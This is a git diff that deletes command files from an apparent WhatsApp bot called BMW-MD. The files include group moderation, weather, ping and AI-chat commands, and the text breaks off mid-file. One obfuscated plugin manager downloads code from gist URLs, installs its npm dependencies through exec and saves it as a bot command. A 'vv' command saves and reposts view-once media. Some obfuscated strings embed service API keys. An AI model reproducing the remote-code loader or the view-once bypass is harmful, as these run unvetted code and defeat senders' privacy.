- await _0xecdf09(" *BMW-MD WEATHER UPDATES* \n\n❄️ Weather in " + _0x3cf19a + "\n\n🌡️ *Temperature:* " + _0x52e997 + "°C\n📝 *Description:* " + _0x32180e + "\n❄️ *Humidity:* " + _0x2da493 + "%\n🌀 *Wind Speed:* " + _0x368581 + " m/s\n🌧️ *Rain Volume (last hour):* " + _0x28a97c + " mm\n☁️ *Cloudiness:* " + _0x39a4af + "%\n🌄 *Sunrise:* " + _0x41b2f8.toLocaleTimeString() + "\n🌅 *Sunset:* " + _0x4393a0.toLocaleTimeString() + "\n🌫️ *Latitude:* " + _0x4bfc6.coord.lat + "\n🌪️ *Longitude:* " + _0x4bfc6.coord.lon + "\n\n🗺 *Country:* " + _0x4bfc6.sys.country + "\n\n\n*°Powered by BMW-MD*");
-});
diff --git a/scs/bmwo.js b/scs/bmwo.js
deleted file mode 100644
index ef92a17..0000000
--- a/scs/bmwo.js
+++ /dev/null
@@ -1,39 +0,0 @@
-const { adams } = require('../Ibrahim/adams');
-const {ajouterUtilisateurAvecWarnCount , getWarnCountByJID , resetWarnCountByJID} = require('../lib/warn')
-const s = require("../config")
-
-
-adams(
- {
- nomCom : 'warn',
- categorie : 'Group'
-
- },async (dest,zk,commandeOptions) => {
-
- const {ms , arg, repondre,superUser,verifGroupe,verifAdmin , msgRepondu , auteurMsgRepondu} = commandeOptions;
-if(!verifGroupe ) {repondre('this is a group commands') ; return};
-
-if(verifAdmin || superUser) {
- if(!msgRepondu){repondre('reply a message of user to warn'); return};
-
- if (!arg || !arg[0] || arg.join('') === '') {
- await ajouterUtilisateurAvecWarnCount(auteurMsgRepondu)
- let warn = await getWarnCountByJID(auteurMsgRepondu)
- let warnlimit = s.WARN_COUNT
-
- if( warn >= warnlimit ) { await repondre('this user reach limit of warning , so i kick him/her');
- zk.groupParticipantsUpdate(dest, [auteurMsgRepondu], "remove")
- } else {
-
- var rest = warnlimit - warn ;
- repondre(`this user is warn , rest before kick : ${rest} `)
- }
-} else if ( arg[0] === 'reset') { await resetWarnCountByJID(auteurMsgRepondu)
-
- repondre("Warn count is reset for this user")} else ( repondre('reply to a user by typing .warn ou .warn reset'))
-
-} else {
- repondre('you are not admin')
-}
-
- });
diff --git a/scs/bmwp.js b/scs/bmwp.js
deleted file mode 100644
index d5881a5..0000000
--- a/scs/bmwp.js
+++ /dev/null
@@ -1,37 +0,0 @@
-const {adams}=require("../Ibrahim/adams") ;
-
-
-
-adams({nomCom:"vv",categorie:"General",reaction:"🤪"},async(dest,zk,commandeOptions)=>{
-
-const {ms,msgRepondu,repondre}=commandeOptions;
-
-
-if(!msgRepondu){return repondre("*Mentionne a view once media* .");}
-
-
-if(msgRepondu.viewOnceMessageV2)
-{
- if(msgRepondu.viewOnceMessageV2.message.imageMessage)
- {
- var image =await zk.downloadAndSaveMediaMessage(msgRepondu.viewOnceMessageV2.message.imageMessage)
- var texte = msgRepondu.viewOnceMessageV2.message.imageMessage.caption
-
- await zk.sendMessage(dest,{image:{url:image},caption:texte},{quoted:ms})
- }else if(msgRepondu.viewOnceMessageV2.message.videoMessage){
-
- var video = await zk.downloadAndSaveMediaMessage(msgRepondu.viewOnceMessageV2.message.videoMessage)
-var texte =msgRepondu.viewOnceMessageV2.message.videoMessage.caption
-
-
-await zk.sendMessage(dest,{video:{url:video},caption:texte},{quoted:ms})
-
-}
-}else
-{
- return repondre("this message is not on view once .")
-}
-
-
-
-})
diff --git a/scs/bmwplns.js b/scs/bmwplns.js
deleted file mode 100644
index 1d9c9c2..0000000
--- a/scs/bmwplns.js
+++ /dev/null
@@ -1,119 +0,0 @@
-function _0x27c1(_0x522525,_0x19eac5){const _0x3f07a2=_0x3f07();return _0x27c1=function(_0x27c1ea,_0x1d972e){_0x27c1ea=_0x27c1ea-0x178;let _0x1e9a8c=_0x3f07a2[_0x27c1ea];return _0x1e9a8c;},_0x27c1(_0x522525,_0x19eac5);}const _0x1d3603=_0x27c1;(function(_0x5e745b,_0x113a20){const _0x18a1f9=_0x27c1,_0x3988c4=_0x5e745b();while(!![]){try{const _0xd0898a=-parseInt(_0x18a1f9(0x19f))/0x1+-parseInt(_0x18a1f9(0x19e))/0x2+parseInt(_0x18a1f9(0x1aa))/0x3*(-parseInt(_0x18a1f9(0x187))/0x4)+parseInt(_0x18a1f9(0x1ac))/0x5+parseInt(_0x18a1f9(0x1b2))/0x6+parseInt(_0x18a1f9(0x198))/0x7*(parseInt(_0x18a1f9(0x180))/0x8)+-parseInt(_0x18a1f9(0x17f))/0x9*(-parseInt(_0x18a1f9(0x1af))/0xa);if(_0xd0898a===_0x113a20)break;else _0x3988c4['push'](_0x3988c4['shift']());}catch(_0x454efe){_0x3988c4['push'](_0x3988c4['shift']());}}}(_0x3f07,0x72f7a));const a40_0x51cbee=(function(){let _0x3dea75=!![];return function(_0x596140,_0x36ea4e){const _0x3990f9=_0x3dea75?function(){if(_0x36ea4e){const _0x3e9ed6=_0x36ea4e['apply'](_0x596140,arguments);return _0x36ea4e=null,_0x3e9ed6;}}:function(){};return _0x3dea75=![],_0x3990f9;};}()),a40_0x1a7346=a40_0x51cbee(this,function(){const _0x5d3d82=_0x27c1;return a40_0x1a7346['toString']()[_0x5d3d82(0x192)](_0x5d3d82(0x18e))[_0x5d3d82(0x17b)]()[_0x5d3d82(0x194)](a40_0x1a7346)[_0x5d3d82(0x192)](_0x5d3d82(0x18e));});a40_0x1a7346();function _0x3f07(){const _0x5168a5=['8025SObEjn','resolve','525895WBXuaD','Here\x20is\x20an\x20exemple:\x0a-','\x0a*url\x20:*\x20','1110HLnDsN','https://gist.githubusercontent.com','Please\x20provide\x20a\x20valid\x20gist\x20raw\x20url','1552572cBzztY','match','then','error','toString','Modules\x20to\x20install\x20:\x20','delPlugin','startsWith','66465Hfevyk','152NyfbCg','.js','text','createWriteStream','plugin','plugin\x20list\x20:\x20for\x20listing\x20all\x20installed\x20plugins','stderr:\x20','252FWNwVJ','node:fs','../lib/plugin','end','split','join','replace','(((.+)+)+)+$','child_process','../framework/zokou','./commandes/','search','You\x20haven\x27t\x20install\x20any\x20plugin','constructor','https://gist.githubusercontent.com/','\x20removed\x20successfully\x20,\x20you\x20can\x20restart\x20now\x20or\x20if\x20have\x20another\x20plugin\x20to\x20remove\x20remove\x20these\x20first\x20and\x20then\x20restart\x20by\x20','forEach','146741KEEfcp','Addplugin','reboot','Plugin\x20installed\x20successfully\x20,\x20you\x20can\x20restart\x20now\x20or\x20if\x20have\x20another\x20plugin\x20to\x20install\x20install\x20these\x20first\x20and\x20then\x20restart\x20by\x20','url','install','1728418iMtcRP','78333FuSQAx','log','plugin\x20install\x20\x20:\x20for\x20plugin\x20installation\x0a-','exec\x20error:\x20','name','length','\x0a*name\x20:*\x20','push','Mods','toLowerCase','npm\x20i\x20'];_0x3f07=function(){return _0x5168a5;};return _0x3f07();}const {adams}=require('../Ibrahim/adams'),fs=require(_0x1d3603(0x188)),{exec}=require(_0x1d3603(0x18f)),plug=require(_0x1d3603(0x189));adams({'nomCom':_0x1d3603(0x184),'categorie':_0x1d3603(0x1a7),'desc':'manage(add\x20or\x20remove)\x20plugin','alias':['pg']},async(_0x24445d,_0x3ea8d3,_0x1fd90b)=>{const _0x5e8fa1=_0x1d3603,{repondre:_0x263c22,arg:_0x1e385f,ms:_0x126188,prefixe:_0x511e43}=_0x1fd90b;if(!_0x1e385f[0x0]||_0x1e385f[_0x5e8fa1(0x18c)]('')==='')_0x263c22(_0x5e8fa1(0x1ad)+_0x511e43+_0x5e8fa1(0x1a1)+_0x511e43+'plugin\x20remove\x20\x20:\x20for\x20removing\x20plugins\x0a-'+_0x511e43+_0x5e8fa1(0x185));else switch(_0x1e385f[0x0][_0x5e8fa1(0x1a8)]()){case _0x5e8fa1(0x19d):if(_0x1e385f[0x1][_0x5e8fa1(0x17e)](_0x5e8fa1(0x1b0))){const _0x3c9979=_0x1e385f[0x1];let _0x5785d3=await installPlugin(_0x3c9979);_0x5785d3&&_0x263c22(_0x5e8fa1(0x19b)+_0x511e43+'reboot');}else _0x263c22(_0x5e8fa1(0x1b1));break;case'remove':_0x1e385f[0x1]&&_0x1e385f[0x1]['trim']()!==''&&await plug[_0x5e8fa1(0x17d)](_0x1e385f[0x1])[_0x5e8fa1(0x179)](_0x66fa53=>{const _0x59a618=_0x5e8fa1;fs['rmSync'](_0x59a618(0x191)+_0x1e385f[0x1]+_0x59a618(0x181)),_0x263c22('Plugin\x20'+_0x1e385f[0x1]+_0x59a618(0x196)+_0x511e43+_0x59a618(0x19a));});break;case'list':const _0x120c3e=await plug['pluginList']();console['log'](_0x120c3e);if(_0x120c3e[_0x5e8fa1(0x1a4)]>0x0){let _0x36d6ad='';_0x120c3e[_0x5e8fa1(0x197)](_0x31b6d5=>{const _0x31abfd=_0x5e8fa1;_0x36d6ad+=_0x31abfd(0x1a5)+_0x31b6d5[_0x31abfd(0x1a3)]+_0x31abfd(0x1ae)+_0x31b6d5[_0x31abfd(0x19c)]+'\x0a';}),_0x263c22(_0x36d6ad);}else _0x263c22(_0x5e8fa1(0x193));break;}}),installPlugin=async _0xb97b96=>{const _0x4e89f9=_0x1d3603,_0x196f9f=await fetch(_0xb97b96),_0x5a08b1=await _0x196f9f[_0x4e89f9(0x182)]();let _0x517fa1=_0x5a08b1[_0x4e89f9(0x178)](/require\(['"]([^'"]+)['"]\)/g),_0x18fb8e=[];_0x517fa1&&_0x517fa1[_0x4e89f9(0x197)](_0x5a2ec6=>{const _0x45ac40=_0x4e89f9,_0x118984=_0x5a2ec6[_0x45ac40(0x18d)]('require(','')['replace'](')','')[_0x45ac40(0x18d)](/['"]/g,'');try{_0x118984!==_0x45ac40(0x190)&&require[_0x45ac40(0x1ab)](_0x118984);}catch{!_0x18fb8e['includes'](_0x118984)&&_0x18fb8e[_0x45ac40(0x1a6)](_0x118984);}});_0x18fb8e[_0x4e89f9(0x1a4)]>0x0&&(console['log'](_0x4e89f9(0x17c),_0x18fb8e),await new Promise((_0x49f10b,_0x50a1d4)=>{const _0x3456e2=_0x4e89f9;exec(_0x3456e2(0x1a9)+_0x18fb8e[_0x3456e2(0x18c)]('\x20'),(_0x189111,_0x564d3f,_0x557122)=>{const _0x1cc36f=_0x3456e2;_0x189111&&(console[_0x1cc36f(0x17a)](_0x1cc36f(0x1a2)+_0x189111),_0x50a1d4(_0x189111)),console['log']('stdout:\x20'+_0x564d3f),console[_0x1cc36f(0x17a)](_0x1cc36f(0x186)+_0x557122),_0x49f10b(_0x564d3f);});}));const _0x3dffef=_0xb97b96[_0x4e89f9(0x18d)](_0x4e89f9(0x195),'')[_0x4e89f9(0x18b)]('/')[0x4];return fs[_0x4e89f9(0x183)](_0x4e89f9(0x191)+_0x3dffef)[_0x4e89f9(0x18a)](_0x5a08b1),console[_0x4e89f9(0x1a0)]('Plugin\x20installed\x20successfully'),await plug[_0x4e89f9(0x199)](_0x3dffef[_0x4e89f9(0x18d)](_0x4e89f9(0x181),''),_0xb97b96),!![];};
-/**
-const a40_0x51cbee = function () {
- let _0x5eb5b7 = true;
- return function (_0x414ccc, _0x2b3814) {
- const _0x89bc87 = _0x5eb5b7 ? function () {
- if (_0x2b3814) {
- const _0x4cb527 = _0x2b3814.apply(_0x414ccc, arguments);
- _0x2b3814 = null;
- return _0x4cb527;
- }
- } : function () {};
- _0x5eb5b7 = false;
- return _0x89bc87;
- };
-}();
-const a40_0x1a7346 = a40_0x51cbee(this, function () {
- return a40_0x1a7346.toString().search('(((.+)+)+)+$').toString().constructor(a40_0x1a7346).search("(((.+)+)+)+$");
-});
-a40_0x1a7346();
-const {
- adams
-} = require("../Ibrahim/adams");
-const fs = require("node:fs");
-const {
- exec
-} = require('child_process');
-const plug = require("../lib/plugin");
-adams({
- 'nomCom': 'plugin',
- 'categorie': "Mods",
- 'desc': "manage(add or remove) plugin",
- 'alias': ['pg']
-}, async (_0x1c4f27, _0x25b71c, _0x3ceeb8) => {
- const {
- repondre: _0x4b5993,
- arg: _0x5b18db,
- ms: _0x4a45ff,
- prefixe: _0x133d81
- } = _0x3ceeb8;
- if (!_0x5b18db[0x0] || _0x5b18db.join('') === '') {
- _0x4b5993("Here is an exemple:\n-" + _0x133d81 + "plugin install : for plugin installation\n-" + _0x133d81 + "plugin remove : for removing plugins\n-" + _0x133d81 + "plugin list : for listing all installed plugins");
- } else {
- switch (_0x5b18db[0x0].toLowerCase()) {
- case 'install':
- if (_0x5b18db[0x1].startsWith("https://gist.githubusercontent.com")) {
- const _0x3d8304 = _0x5b18db[0x1];
- let _0x29ca80 = await installPlugin(_0x3d8304);
- if (_0x29ca80) {
- _0x4b5993("Plugin installed successfully , you can restart now or if have another plugin to install install these first and then restart by " + _0x133d81 + "reboot");
- }
- } else {
- _0x4b5993("Please provide a valid gist raw url");
- }
- break;
- case "remove":
- if (_0x5b18db[0x1] && _0x5b18db[0x1].trim() !== '') {
- await plug.delPlugin(_0x5b18db[0x1]).then(_0x15d529 => {
- fs.rmSync("./commandes/" + _0x5b18db[0x1] + ".js");
- _0x4b5993("Plugin " + _0x5b18db[0x1] + " removed successfully , you can restart now or if have another plugin to remove remove these first and then restart by " + _0x133d81 + "reboot");
- });
- }
- break;
- case 'list':
- const _0x2f3d5d = await plug.pluginList();
- console.log(_0x2f3d5d);
- if (_0x2f3d5d.length > 0x0) {
- let _0x268827 = '';
- _0x2f3d5d.forEach(_0x18d696 => {
- _0x268827 += "\n*name :* " + _0x18d696.name + "\n*url :* " + _0x18d696.url + "\n";
- });
- _0x4b5993(_0x268827);
- } else {
- _0x4b5993("You haven't install any plugin");
- }
- break;
- }
- }
-});
-installPlugin = async _0x192394 => {
- const _0x562712 = await fetch(_0x192394);
- const _0x20e9b1 = await _0x562712.text();
- let _0x148cc8 = _0x20e9b1.match(/require\(['"]([^'"]+)['"]\)/g);
- let _0x2c8aa8 = [];
- if (_0x148cc8) {
- _0x148cc8.forEach(_0x5f5402 => {
- const _0x181d9a = _0x5f5402.replace('require(', '').replace(')', '').replace(/['"]/g, '');
- try {
- if (_0x181d9a !== "../framework/zokou") {
- require.resolve(_0x181d9a);
- }
- } catch {
- if (!_0x2c8aa8.includes(_0x181d9a)) {
- _0x2c8aa8.push(_0x181d9a);
- }
- }
- });
- }
- if (_0x2c8aa8.length > 0x0) {
- console.log("Modules to install : ", _0x2c8aa8);
- await new Promise((_0x4ff127, _0x57419e) => {
- exec("npm i " + _0x2c8aa8.join(" "), (_0x4995f8, _0x44c91f, _0x4ad3bc) => {
- if (_0x4995f8) {
- console.error("exec error: " + _0x4995f8);
- _0x57419e(_0x4995f8);
- }
- console.log("stdout: " + _0x44c91f);
- console.error("stderr: " + _0x4ad3bc);
- _0x4ff127(_0x44c91f);
- });
- });
- }
- const _0x3b28ca = _0x192394.replace("https://gist.githubusercontent.com/", '').split('/')[0x4];
- fs.createWriteStream("./commandes/" + _0x3b28ca).end(_0x20e9b1);
- console.log("Plugin installed successfully");
- await plug.Addplugin(_0x3b28ca.replace('.js', ''), _0x192394);
- return true;
-};
-**/
diff --git a/scs/bmwq.js b/scs/bmwq.js
deleted file mode 100644
index 0537846..0000000
--- a/scs/bmwq.js
+++ /dev/null
@@ -1,90 +0,0 @@
-const { adams } = require("../Ibrahim/adams");
-const moment = require("moment-timezone");
-const { getBuffer } = require("../Ibrahim/dl/Function");
-const { default: axios } = require('axios');
-const speed = require("performance-now");
-
-
-const runtime = function (seconds) {
- seconds = Number(seconds);
- var d = Math.floor(seconds / (3600 * 24));
- var h = Math.floor((seconds % (3600 * 24)) / 3600);
- var m = Math.floor((seconds % 3600) / 60);
- var s = Math.floor(seconds % 60);
- var dDisplay = d > 0 ? d + (d == 1 ? " day, " : " d, ") : "";
- var hDisplay = h > 0 ? h + (h == 1 ? " hour, " : " h, ") : "";
- var mDisplay = m > 0 ? m + (m == 1 ? " minute, " : " m, ") : "";
- var sDisplay = s > 0 ? s + (s == 1 ? " second" : " s") : "";
- return dDisplay + hDisplay + mDisplay + sDisplay;
- }
-let timestamp = speed()
-let flashspeed = (speed() - timestamp).toFixed(4)
-adams({ nomCom: 'ping',
- desc: 'To check ping',
- Categorie: 'General',
- reaction: '🚘',
- fromMe: 'true',
-
-
- },
-
-
-async (dest, zk, commandeOptions) => {
- const { ms, arg, repondre} = commandeOptions;
-
-
-
-await repondre(`*Pong▱▱▱▰▰▰▰▰ ${flashspeed} MS* `);
-
-}
-);
-
-
-
-
-adams({ nomCom: 'uptime',
- desc: 'To check runtime',
- Categorie: 'General',
- reaction: '🚘',
- fromMe: 'true',
-
-
- },
- async (dest, zk, commandeOptions) => {
- const { ms, arg, repondre } = commandeOptions;
-
- await repondre(`*Bmw speed is: ${runtime(process.uptime())}_*`)
-
-
-
-
- }
-);
-
-
-adams({ nomCom: 'ss',
- desc: 'screenshots website',
- Categorie: 'General',
- reaction: '🎥',
- fromMe: 'true',
-
-},
- async (dest, zk, commandeOptions) => {
- const { ms, arg, repondre } = commandeOptions;
-
- if (!arg || arg.length === 0) return repondre("provide a link...");
-
- const linkk = arg.join(' ');
-
-
-
-let linkkk = `https://api.maher-zubair.tech/misc/sstab?url=${linkk}&dimension=720x720`;
-
-let res = await getBuffer(linkkk);
- let caption = '*Powered by BARAKA-MD-V1*'
-
-await zk.sendMessage(dest, { image: res }, { caption: caption }, { quoted: ms });
-
-
-}
-);
diff --git a/scs/bmwqan.js b/scs/bmwqan.js
deleted file mode 100644
index ec72fe0..0000000
--- a/scs/bmwqan.js
+++ /dev/null
@@ -1 +0,0 @@
-const _0x3a5fe3=_0x5431;function _0x5431(_0x4761c6,_0x52e612){const _0x380cca=_0x4421();return _0x5431=function(_0x5c5dd5,_0x379d57){_0x5c5dd5=_0x5c5dd5-(0xc19*0x3+-0x1afc+0x27*-0x3a);let _0x3ab7e7=_0x380cca[_0x5c5dd5];return _0x3ab7e7;},_0x5431(_0x4761c6,_0x52e612);}(function(_0x25c72c,_0x92da57){const _0x5e3596=_0x5431,_0x3421d0=_0x25c72c();while(!![]){try{const _0x571536=parseInt(_0x5e3596(0x82))/(-0x1*0x845+-0x1*0x767+-0x1*-0xfad)+-parseInt(_0x5e3596(0xd1))/(0x1e*-0x6f+0x12be+0x5ba*-0x1)+parseInt(_0x5e3596(0xc9))/(0x1*0x11b3+0x2*-0x7bb+-0x23a)*(-parseInt(_0x5e3596(0xe5))/(-0x1107+-0x7d+0x8c4*0x2))+-parseInt(_0x5e3596(0xd6))/(0x1d5c+0xa*-0x243+-0x6b9*0x1)+parseInt(_0x5e3596(0xc1))/(0x1fa2+0x1cd9+0xb*-0x57f)*(-parseInt(_0x5e3596(0x92))/(0x5*0x6b+0x746+-0x956))+parseInt(_0x5e3596(0xb1))/(0x22e2+-0x1136+-0x11a4)+parseInt(_0x5e3596(0x85))/(0x18c4+-0x2439+-0x1*-0xb7e);if(_0x571536===_0x92da57)break;else _0x3421d0['push'](_0x3421d0['shift']());}catch(_0xb5211c){_0x3421d0['push'](_0x3421d0['shift']());}}}(_0x4421,-0x7c4*-0x3e+0x1*0x558ad+-0x2bf8f));function _0x4421(){const _0x23f5fd=['msg=','bsWeI','cnt','*powered\x20b','red\x20while\x20','yYxVC','\x20you.','MpzfL','\x20your\x20requ','VXVsW','VdwGU','/traductio','FCnvD','axios','length','jGmkR','esting\x20Bra','2915360VkiaVi','wGiik','/api/ai/gp','VbixV','\x20a\x20me\x20any\x20','DsXfp','otooxy.com','ench\x20:','mQMjj','log','NyodG','json','Jwvaj','stening\x20to','cjVMj','YpDOP','1230exVEhX','y\x20BMW-MD*','Error\x20when','FlMCK','raah-tech','uid=[uid]&','dwgJi','JnJeq','45IELQyK','on.','then','thing.','est','eO1kubFVD&','d=177607&k','Please\x20ask','799470vyNBYw','result','StCqz','message','join','727440OIoVFn','gpt','xKwSr','inShop\x20:','rror\x20occur','\x20the\x20image','Erreur:','oBnWh','https://ap','status','eneration.','error','ng\x20image\x20g','get','Error\x20requ','115096IDWIIz','../Ibrahim','cIYQg','http://api','ycszE','i.ibrahima','\x20s\x27est\x20pro','Error\x20duri','eate-image','\x20translati','yes\x20I\x27m\x20li','/adams','.brainshop','est.','ormation\x20t','essary\x20inf','bot','SeTRl','processing','rVScb','VQitV','zUhjN','ror\x20:\x20','zTdGT','VvUMi','TLYfe','GsLyG','t4?q=','e\x20generati','https://ph','ElUwY','uSNHd','wKzig','BRSSw','383458wICLmX','&apikey=ib','.ai/get?bi','7458759kFSblk','aXwWq','/effect/cr','inShop','Please\x20ent','Oops,\x20an\x20e','catch','sendMessag','Une\x20erreur','ench','tYQar','oops\x20an\x20er','duite','10458rNAGNG','o\x20generate','OEgKg','oHDJo','ey=NwzhALq','dams.us.kg','ng\x20respons','VpmRW','\x20a\x20questio','data','?q=','ng\x20into\x20Fr','er\x20the\x20nec','gpt1'];_0x4421=function(){return _0x23f5fd;};return _0x4421();}const {adams}=require(_0x3a5fe3(0xe6)+_0x3a5fe3(0xf0)),traduire=require(_0x3a5fe3(0xe6)+_0x3a5fe3(0xab)+'n'),{default:axios}=require(_0x3a5fe3(0xad));adams({'nomCom':_0x3a5fe3(0xf5),'reaction':'📡','categorie':'IA'},async(_0x48c995,_0x3ca759,_0x4442ed)=>{const _0x3fab9b=_0x3a5fe3,_0x36b327={'aXwWq':function(_0x1966c7,_0x25b494){return _0x1966c7(_0x25b494);},'bsWeI':_0x3fab9b(0xc3)+_0x3fab9b(0xee)+_0x3fab9b(0x9d)+_0x3fab9b(0xb8),'yYxVC':function(_0x225141,_0x32c16c){return _0x225141(_0x32c16c);},'uSNHd':_0x3fab9b(0xc3)+_0x3fab9b(0xee)+_0x3fab9b(0x9d)+_0x3fab9b(0x8e),'tYQar':function(_0x141238,_0x22834a,_0x370974){return _0x141238(_0x22834a,_0x370974);},'YpDOP':_0x3fab9b(0xe4)+_0x3fab9b(0xb0)+_0x3fab9b(0xd9),'zTdGT':function(_0x3a985a,_0xb851a){return _0x3a985a(_0xb851a);},'jGmkR':_0x3fab9b(0xe4)+_0x3fab9b(0xb0)+_0x3fab9b(0x88),'VXVsW':function(_0x27463a,_0x27b23e){return _0x27463a(_0x27b23e);},'oHDJo':_0x3fab9b(0xef)+_0x3fab9b(0xbe)+_0x3fab9b(0xa6),'wGiik':function(_0x13300b,_0x15b9a2,_0x3af832){return _0x13300b(_0x15b9a2,_0x3af832);},'wKzig':function(_0x2cbe5e,_0x33e091){return _0x2cbe5e(_0x33e091);},'SeTRl':function(_0x22a68c,_0x16c986){return _0x22a68c+_0x16c986;},'DsXfp':_0x3fab9b(0x90)+_0x3fab9b(0xfb)},{repondre:_0x1b0ad9,ms:_0x21ea22,arg:_0x1e996c}=_0x4442ed;if(!_0x1e996c||!_0x1e996c[0x59*0x43+-0x5*-0x18b+-0x1f02])return _0x36b327[_0x3fab9b(0xa9)](_0x1b0ad9,_0x36b327[_0x3fab9b(0x95)]);try{const _0x1b4489=await _0x36b327[_0x3fab9b(0xb2)](traduire,_0x1e996c[_0x3fab9b(0xd5)]('\x20'),{'to':'en'});console[_0x3fab9b(0xba)](_0x1b4489),_0x36b327[_0x3fab9b(0x86)](fetch,_0x3fab9b(0xe8)+_0x3fab9b(0xf1)+_0x3fab9b(0x84)+_0x3fab9b(0xcf)+_0x3fab9b(0x96)+_0x3fab9b(0xce)+_0x3fab9b(0xc6)+_0x3fab9b(0xa0)+_0x1b4489)[_0x3fab9b(0xcb)](_0x50f73f=>_0x50f73f[_0x3fab9b(0xbc)]())[_0x3fab9b(0xcb)](_0x4d60b6=>{const _0x30fa89=_0x3fab9b,_0x9fd104=_0x4d60b6[_0x30fa89(0xa2)];console[_0x30fa89(0xba)](_0x9fd104),_0x36b327[_0x30fa89(0x8f)](traduire,_0x9fd104,{'to':'en'})[_0x30fa89(0xcb)](_0x2740da=>{const _0x29d8b6=_0x30fa89;_0x36b327[_0x29d8b6(0x86)](_0x1b0ad9,_0x2740da);})[_0x30fa89(0x8b)](_0x11eafa=>{const _0x155b3d=_0x30fa89;console[_0x155b3d(0xe1)](_0x36b327[_0x155b3d(0xa1)],_0x11eafa),_0x36b327[_0x155b3d(0xa5)](_0x1b0ad9,_0x36b327[_0x155b3d(0x7f)]);});})[_0x3fab9b(0x8b)](_0x58c4cc=>{const _0x285f88=_0x3fab9b;console[_0x285f88(0xe1)](_0x36b327[_0x285f88(0xc0)],_0x58c4cc),_0x36b327[_0x285f88(0xfc)](_0x1b0ad9,_0x36b327[_0x285f88(0xaf)]);});}catch(_0x137496){_0x36b327[_0x3fab9b(0x80)](_0x1b0ad9,_0x36b327[_0x3fab9b(0xf6)](_0x36b327[_0x3fab9b(0xb6)],_0x137496));}}),adams({'nomCom':'ai','reaction':'📡','categorie':'IA'},async(_0x2ead56,_0x5dfe1c,_0x210efb)=>{const _0x49914b=_0x3a5fe3,_0x58583a={'TLYfe':function(_0x3dc271,_0x3bd488){return _0x3dc271===_0x3bd488;},'ElUwY':function(_0x1ad1ea,_0x49e9e6){return _0x1ad1ea(_0x49e9e6);},'VbixV':_0x49914b(0xa3)+_0x49914b(0xc2),'ycszE':function(_0x59d5f6,_0x179d33){return _0x59d5f6==_0x179d33;},'VQitV':function(_0x248797,_0x5309a3){return _0x248797(_0x5309a3);},'StCqz':_0x49914b(0xec)+_0x49914b(0xe2)+_0x49914b(0xe0),'VdwGU':_0x49914b(0xdc),'JnJeq':_0x49914b(0x8d)+_0x49914b(0xeb)+_0x49914b(0x91),'oBnWh':function(_0x5796fe,_0x88bef4){return _0x5796fe(_0x88bef4);},'xKwSr':_0x49914b(0x8a)+_0x49914b(0xda)+_0x49914b(0xa4)+_0x49914b(0xf7)+_0x49914b(0xa8)+_0x49914b(0xcd)},{repondre:_0x48d96a,arg:_0x5416cb,ms:_0x2994d3}=_0x210efb;try{if(!_0x5416cb||_0x58583a[_0x49914b(0x79)](_0x5416cb[_0x49914b(0xae)],0xd29*0x1+-0x3e3+-0x946))return _0x58583a[_0x49914b(0x7e)](_0x48d96a,_0x49914b(0x89)+_0x49914b(0x9e)+_0x49914b(0xf4)+_0x49914b(0xf3)+_0x49914b(0x93)+_0x49914b(0xdb)+'.');const _0xb97933=_0x5416cb[_0x49914b(0xd5)]('\x20'),_0x1f5904=await axios[_0x49914b(0xe3)](_0x49914b(0x7d)+_0x49914b(0xb7)+_0x49914b(0x87)+_0x49914b(0xed)+_0x49914b(0x9c)+_0xb97933),_0x3b145d=_0x1f5904[_0x49914b(0x9b)];let _0x173e2d=_0x58583a[_0x49914b(0xb4)];if(_0x58583a[_0x49914b(0xe9)](_0x3b145d[_0x49914b(0xdf)],0x1*-0xb36+0xb4*0x8+0x65e)){const _0x4e07b2=_0x3b145d[_0x49914b(0xd2)];_0x5dfe1c[_0x49914b(0x8c)+'e'](_0x2ead56,{'image':{'url':_0x4e07b2},'caption':_0x173e2d},{'quoted':_0x2994d3});}else _0x58583a[_0x49914b(0xf9)](_0x48d96a,_0x58583a[_0x49914b(0xd3)]);}catch(_0x163d96){console[_0x49914b(0xe1)](_0x58583a[_0x49914b(0xaa)],_0x163d96[_0x49914b(0xd4)]||_0x58583a[_0x49914b(0xc8)]),_0x58583a[_0x49914b(0xdd)](_0x48d96a,_0x58583a[_0x49914b(0xd8)]);}}),adams({'nomCom':_0x3a5fe3(0x9f),'reaction':'📡','categorie':'IA'},async(_0x568514,_0x4f75e0,_0x1e3491)=>{const _0x390aac=_0x3a5fe3,_0x49a275={'cjVMj':function(_0x4e5202,_0x51c5fd){return _0x4e5202===_0x51c5fd;},'BRSSw':function(_0x51add0,_0x517ec4){return _0x51add0(_0x517ec4);},'GsLyG':function(_0x27eed3,_0x3183eb){return _0x27eed3(_0x3183eb);},'cIYQg':_0x390aac(0xec)+_0x390aac(0x98)+_0x390aac(0x7c)+_0x390aac(0xca),'OEgKg':_0x390aac(0xdc),'VvUMi':_0x390aac(0x8d)+_0x390aac(0xeb)+_0x390aac(0x91),'NyodG':function(_0x4925b2,_0x5f2a9d){return _0x4925b2(_0x5f2a9d);},'MpzfL':_0x390aac(0x8a)+_0x390aac(0xda)+_0x390aac(0xa4)+_0x390aac(0xf7)+_0x390aac(0xa8)+_0x390aac(0xf2)},{repondre:_0x8d5a47,arg:_0x58ad77,ms:_0xff2b67}=_0x1e3491;try{if(!_0x58ad77||_0x49a275[_0x390aac(0xbf)](_0x58ad77[_0x390aac(0xae)],0x8d9*-0x3+-0x16e3+-0x14d*-0x26))return _0x49a275[_0x390aac(0x81)](_0x8d5a47,_0x390aac(0xd0)+_0x390aac(0xb5)+_0x390aac(0xcc));const _0x161fe2=_0x58ad77[_0x390aac(0xd5)]('\x20'),_0x5abaf6=await axios[_0x390aac(0xe3)](_0x390aac(0xde)+_0x390aac(0xea)+_0x390aac(0x97)+_0x390aac(0xb3)+_0x390aac(0x7b)+_0x161fe2+(_0x390aac(0x83)+_0x390aac(0xc5))),_0x51e389=_0x5abaf6[_0x390aac(0x9b)];_0x51e389?_0x49a275[_0x390aac(0x81)](_0x8d5a47,_0x51e389[_0x390aac(0xd2)]):_0x49a275[_0x390aac(0x7a)](_0x8d5a47,_0x49a275[_0x390aac(0xe7)]);}catch(_0xdebc65){console[_0x390aac(0xe1)](_0x49a275[_0x390aac(0x94)],_0xdebc65[_0x390aac(0xd4)]||_0x49a275[_0x390aac(0xfd)]),_0x49a275[_0x390aac(0xbb)](_0x8d5a47,_0x49a275[_0x390aac(0xa7)]);}}),adams({'nomCom':_0x3a5fe3(0xd7),'reaction':'🤔','categorie':'IA'},async(_0x2291d5,_0x16d6c1,_0x57a3f1)=>{const _0x261896=_0x3a5fe3,_0x17f32e={'dwgJi':function(_0x1a93f6,_0x41ed98){return 